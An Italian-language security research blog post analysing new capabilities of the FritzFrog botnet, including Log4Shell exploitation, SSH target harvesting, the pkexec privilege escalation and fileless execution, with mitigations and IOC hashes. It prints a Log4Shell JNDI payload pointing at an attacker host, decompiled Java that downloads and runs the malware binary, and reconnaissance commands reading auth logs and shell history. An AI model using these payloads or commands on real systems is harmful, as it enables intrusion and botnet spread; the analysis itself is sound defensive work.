Frog4Shell: la botnet FritzFrog amplia il suo arsenale
Editoriale e commenti aggiuntivi di Tricia Howard
Analisi riassuntiva
Il Security Intelligence Group (SIG) di Akamai ha scoperto una nuova variante della botnet FritzFrog che sfrutta la vulnerabilità Log4Shell del 2021.
Nel corso degli anni, abbiamo assistito a oltre 20.000 attacchi da parte di FritzFrog, con oltre 1.500 vittime.
Il malware infetta i server connessi a Internet forzando brutalmente le credenziali SSH deboli. Le varianti più recenti sono ora in grado di leggere diversi file di sistema sugli host compromessi, riuscendo a rilevare i potenziali target dell'attacco che risultano essere altamente vulnerabili.
La vulnerabilità viene sfruttata con il metodo di forza bruta che tenta di attaccare il maggior numero di applicazioni Java vulnerabili.
Il malware ora include anche un modulo che sfrutta la vulnerabilità CVE-2021-4034, un'escalation dei privilegi nel componente polkit di Linux. Questo modulo consente al malware di essere eseguito come root sui server vulnerabili.
- In questo blog, abbiamo incluso gli indicatori di compromissione (IOC) e ulteriori misure di mitigazione, con l'intento di assistere nella prevenzione dell'infezione di FritzFrog.
Informazioni generali su FritzFrog
Mediante la sua rete globale di sensori, Akamai monitora costantemente le minacce, incluse quelle già scoperte in precedenza. Tra queste, troviamo la botnet FritzFrog (originariamente identificata nel 2020), una botnet peer-to-peer sofisticata, basata su Golang e compilata per supportare macchine basate su AMD e ARM. Il malware viene utilizzato attivamente e, nel corso degli anni, si è evoluto aggiungendo e migliorando le sue funzionalità.
Attraverso l'impiego della forza bruta SSH, FritzFrog è stato in grado di muoversi rapidamente ed è riuscito così a compromettere migliaia di obiettivi nel corso degli anni. Ogni host compromesso diventa parte della rete di FritzFrog, comunicando con i peer infetti per condividere informazioni, payload e configurazioni.
Grazie ai costanti perfezionamenti, il malware dispone ora di molte armi interessanti nel suo arsenale, tra cui le aggiunte di cui parleremo di seguito e l'introduzione dell'exploit Log4Shell. Ad esempio, ora il malware non cerca più di violare il disco, onde limitare la possibilità di essere rilevato, supporta la comunicazione su TOR ed è persino dotato di un modulo "antivirus" che uccide i malware concorrenti.
Utilizzo di Log4Shell come vettore di infezione
Tradizionalmente, FritzFrog si basava solo sulla forza bruta SSH come unico vettore di infezione, ma ora le versioni più recenti ne includono uno nuovo: Log4Shell anche note in Akamai come "Frog4Shell".
La vulnerabilità Log4Shell è stata inizialmente identificata a dicembre 2021 e all'epoca scatenò una frenetica attività di patching in tutto il settore, durata mesi. Tuttora, dopo 2 anni, molte applicazioni connesse a Internet risultano ancora vulnerabili a questo exploit.
Le risorse vulnerabili costituiscono un problema serio, ma FritzFrog rappresenta un rischio anche per un altro tipo di risorse, ovvero gli host interni. Quando la vulnerabilità è stata individuata per la prima volta, le applicazioni connesse a Internet avevano la priorità nell'applicazione di patch per l'elevato rischio di essere compromesse. Per contro, le macchine interne, meno esposte all'exploit, venivano spesso trascurate e rimanevano senza patch, circostanza di cui FritzFrog può solo che trarre vantaggio.
Come parte della sua routine di diffusione, il malware prende di mira tutti gli host nella rete interna, chiamando la funzione Go standard net__Interface_Addrs per identificare le sottoreti raggiungibili e attaccare tutti gli indirizzi possibili presenti in ognuna di esse. Nella Figura 1, possiamo vedere il malware che tenta di connettersi a tutti gli indirizzi della rete locale.
Fig. 1: FritzFrog scanning the local network to identify targets
Ciò significa che, anche se le applicazioni di "alto profilo" connesse a Internet sono state corrette con patch, la violazione da parte di FritzFrog può comunque esporre le risorse interne non corrette da patch.
FritzFrog identifica i potenziali obiettivi Log4Shell cercando i server HTTP sulle porte 8080, 8090, 8888 e 9000. Per attivare la vulnerabilità, il malintenzionato deve forzare l'applicazione log4j vulnerabile affinché registri i dati che contengono un payload (Tabella 1):
${jndi:ldap://<attacker_address>/<payload>}
Tabella 1. Esempio di payload Log4Shell
Questo payload viene analizzato in modo errato dalla libreria log4j vulnerabile e costringe l'applicazione Java a connettersi a un server LDAP specificato in "attacker_address" e a scaricare da tale server una classe Java per eseguirla (Figura 2).
Fig. 2: The general Log4Shell exploitation flow
FritzFrog sfrutta questa vulnerabilità iniettando il payload attraverso le intestazioni HTTP (Figura 3) e lo fa in un modo interessante: invece di mirare con precisione a un'intestazione HTTP specifica, le prende di mira praticamente tutte.
Fig. 3: FritzFrog Log4Shell exploit embedded inside various HTTP headers
FritzFrog invia il payload Log4Shell a svariate intestazioni HTTP, sperando che l'applicazione acceda ad almeno una di esse. Questo attacco di forza bruta ha lo scopo di risultare come un exploit Log4Shell generico che può influire su un'ampia varietà di applicazioni.
Il payload iniettato mostrato nella Figura 3 consente all'applicazione di riconnettersi all'indirizzo IP di FritzFrog: il malware ospita quindi il proprio server LDAP per servire la classe Java malevola. Al momento dell'esecuzione, la classe Java si connetterà tramite HTTP al computer che sferra l'attacco, per poi scaricare il file binario del malware ospitato con il nome "robot.txt" (Tabella 2).
String ff_host_http_server_address = ff_host_http_server_address.trim();
payload_url = new URL("http://" + ff_host_http_server_address + "/" +
ff_username + "/robots.txt");
payload_url_stream = payload_url.openStream();
Tabella 2. Payload Java Log4Shell decompilato che esegue il download del file binario FritzFrog
Il file "robot.txt" viene salvato con il nome "ifconfig". La classe Java eseguirà quindi il file binario ifconfig ed eliminerà il file (Tabella 3).
FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
ff_payload_file.write(var2.toByteArray());
ff_payload_file.close();
ff_payload_file_exec = new File(paths[counter] + "ifconfig");
ff_payload_file_exec.setExecutable(true);
Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
if (ff_proc.waitFor() == 0) {
ff_payload_file_exec.delete();
return;
}
Tabella 3. Payload Java Log4Shell decompilato che esegue il file binario FritzFrog
La Figura 4 mostra il flusso dell'exploit Log4Shell utilizzato da FritzFrog.
Fig. 4: FritzFrog Log4Shell exploit process
Metodi di individuazione degli obiettivi SSH
Oltre ad aver aggiunto l'exploit Log4Shell, FritzFrog ha anche migliorato la sua capacità di identificare gli obiettivi per il suo vettore di infezione principale: l'attacco di forza bruta SSH. Continuando a prendere di mira gli indirizzi IP generati in modo casuale, ora FritzFrog identifica anche obiettivi SSH specifici, enumerando diversi registri di sistema su ciascuna vittima.
registri di autenticazione
I file auth.log di Linux contengono, tra le altre cose, le informazioni relative alle connessioni alla macchina. FritzFrog prende a bersaglio i client attivi nella rete, sottoponendo a scansione questi registri e cercando gli indirizzi IP. Per accedere ai dati, il malware esegue i seguenti comandi:
cat /var/log/auth*
zcat /var/log/auth*
Questi comandi consentono di produrre il contenuto di tutti i file di registro compressi e con testo in chiaro.
Host SSH noti
Quando un host si connette a un server SSH remoto, le informazioni sulla connessione vengono salvate automaticamente sul file ~/.ssh/known_hosts . FritzFrog estrarrà gli indirizzi di questi host e li prenderà come obiettivi.
Questo fa sì che il malware abbia a disposizione un elenco di server SSH attivi e raggiungibili. Inoltre, poiché questi server sono probabilmente gestiti dallo stesso proprietario del server compromesso, possono anche condividere una password simile e debole.
File di cronologia
Tutti i comandi eseguiti sui sistemi Linux vengono salvati in un registro speciale conosciuto come file di cronologia. FritzFrog identifica le connessioni SSH e SCP precedenti, eseguendo il comando:
history | grep -E \"(scp|ssh)\"
FritzFrog estrarrà quindi gli indirizzi IP da questi comandi e li prenderà come obiettivi. Similmente al file known_hosts il file di cronologia può fornire un elenco dei server SSH attivi e raggiungibili.
Escalation dei privilegi
Un altro cambiamento osservato è la funzionalità di escalation dei privilegi aggiunta al malware. Al momento dell'esecuzione iniziale, FritzFrog controlla le autorizzazioni del processo. Se l'utente che effettua l'esecuzione non è root, verrà richiamata una funzione denominata "main_RunBlasty" (Figura 5).
Fig. 5: FritzFrog determines that the process is not running as root and executes the “main_RunBlasty” function
La funzione "RunBlasty" inizia con l'esecuzione del comando"which",un'utilità che consente di individuare l'intero percorso di altri comandi sul sistema (Figura 6).
Fig. 6: FritzFrog “which” command execution
Possiamo vedere che il malware tenta di trovare la posizione del file pkexec binario (vi fa venire in mente qualcosa, tipo vulnerabilità?)
Il malware estrae quindi due file incorporati all'interno del suo eseguibile (Figura 7); i file vengono quindi memorizzati come stringhe, ossia file con compressione GZIP e con codifica Base64. I file estratti vengono chiamati blasty e payload.so.
Fig. 7: Extracting the files embedded in the malware binary
Una volta creati questi file, FritzFrog esegue il file blasty , un file ELF scritto in C. Se osserviamo il suo codice, notiamo che è molto semplice: qualche interazione con le variabili di ambiente, seguita dall'esecuzione del pkexec (figura 8).
Fig. 8: blasty disassembled code
La ricerca di queste stringhe ci porta immediatamente al codice di exploit CVE-2021-4034. Questa vulnerabilità nel componente Linux polkit, rilevata da Qualys nel 2022, poteva consentire l'escalation dei privilegi su qualsiasi macchina Linux che eseguiva polkit. Poiché il componente è installato per impostazione predefinita nella maggior parte delle distribuzioni Linux,oggi molte macchine non corrette da patch sono ancora vulnerabili a questo codice CVE.
L'exploit agisce abusando del fatto che il file pkexec è un programma SUID, cioè un programma che viene eseguito con privilegi di root anche se l'attività viene svolta da un utente debole. La vulnerabilità consente di forzare il file pkexec per caricare ed eseguire una libreria controllata dal criminale, portando all'esecuzione del codice come root.
Il file blasty sfrutta questa vulnerabilità, caricando il file pkexec ed eseguendo payload.so. Come mostrato nella Figura 9, questa libreria imposterà l'uid e il gid del processo su 0, che significa root, ed eseguirà root_update , il file binario di FritzFrog.
Fig. 9: payload.so executing FritzFrog as root
Un'altra nota interessante è che blasty e payload.so sono entrambi compilati per l'architettura AMD64, anche per le varianti FritzFrog eseguite su ARM. Ciò significa che l'exploit non può essere eseguito su macchine che non funzionano su una CPU AMD64.
Elusione della difesa
FritzFrog continua a impiegare le tattiche che gli consentono di rimanere nascosto e non essere rilevato. In particolare, è particolarmente focalizzato a non rilasciare i file sul disco, laddove possibile. Abbiamo visto che gli sviluppatori utilizzano due funzioni Linux per fare questo: /dev/shm e memfd_create.
/dev/shm
La prima tecnica utilizza la cartella /dev/shm (con shm che sta per "shared memory" o memoria condivisa), che è una directory che consente di ottimizzare la comunicazione tra i diversi processi del sistema (Figura 10). Anche se sembra una normale cartella file system, /dev/shm in realtà viene mappata direttamente alla RAM e tutti i file creati sotto di essa non toccano mai effettivamente il disco.
FritzFrog utilizza questa cartella per abilitare l'esecuzione senza file, scrivendo i file ed eseguendoli da /dev/shm. Per monitorare questa attività, possiamo eseguire il malware e utilizzare l'utilità inotifywait per ispezionare le operazioni dei file in /dev/shm. Vediamo che il malware scrive diversi file in questa directory; ad esempio, nella Figura 8, il malware scrive tutti i file pkexec su /dev/shm prima di eseguirli.
Fig. 10: Monitoring FritzFrog file access events to the /dev/shm directory
memfd_create
La seconda tecnica utilizza la funzione memfd_create , descritta nella pagina di manuale come segue:
memfd_create() crea un file anonimo e restituisce un descrittore di file a cui fa riferimento. Il file si comporta come un file normale, quindi può essere modificato, troncato, mappato in memoria e così via. Tuttavia, a differenza di un file normale, è presente nella RAM.
Analogamente alla tecnica precedente, abbiamo un modo pratico per creare un file senza toccare il disco. FritzFrog utilizza questa tecnica per eseguire il payload del miner (Figura 11), scrivendo il payload in un file anonimo creato da memfd_create ed eseguendo tale file.
Fig. 11: FritzFrog using memfd_create to write the miner payload into an anonymous file
Soluzioni di mitigazione
Suggeriamo di adottare le due seguenti strategie di mitigazione: l'utilizzo della segmentazione della rete e il rilevamento delle tattiche, tecniche e procedure comuni del malware.
La segmentazione della rete può limitare il potenziale impatto di FritzFrog, prevenendo il movimento laterale. La segmentazione basata sul software può essere una soluzione relativamente semplice da implementare, con un impatto difensivo di lunga durata.
Abbiamo messo a disposizione uno script per il rilevamento di FritzFrog da eseguire su server SSH e che cerca i seguenti indicatori FritzFrog:
a. Esecuzione di processi denominati nginx, ifconfig, php-fpm, apache2 o libexec, i cui file eseguibili non esistono più nel file system (come illustrato di seguito)
b. Porta di ascolto 1234
Conclusione
La cambiamento di tattica adottato nei confronti dell'exploit ha rappresentato una tendenza importante per gli autori di minacce nel 2023: sono stati ampiamente utilizzati gli exploit one-day e zero-day che si sono dimostrati tra i metodi più efficaci per perpetrare violazioni nei confronti delle organizzazioni.
L'aggiunta delle capacità di exploit all'arsenale di FritzFrog dimostra un ulteriore cambiamento in tale direzione. Il vettore di infezione aggiuntivo, che abusa della vulnerabilità Log4Shell, e il modulo di exploit pkexec sono le due aggiunte esaminate in questo blog, esemplificative di tale cambiamento. Riteniamo che questa tendenza continuerà a persistere nelle prossime versioni di FritzFrog e che probabilmente è solo questione di tempo prima che vengano aggiunti ulteriori exploit al malware.
Il SIG di Akamai continuerà a monitorare questa e altre minacce simili e pubblicherà i risultati. Per tenervi aggiornati su FritzFrog e su altre ricerche sulla sicurezza, seguiteci su X (in precedenza Twitter).
IOC
File binario FritzFrog
AMD
f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d
ARM
fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291
Payload Log4Shell
52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8
Exploit pkexec "blasty"
Blasty
85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01
Payload.so
0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248
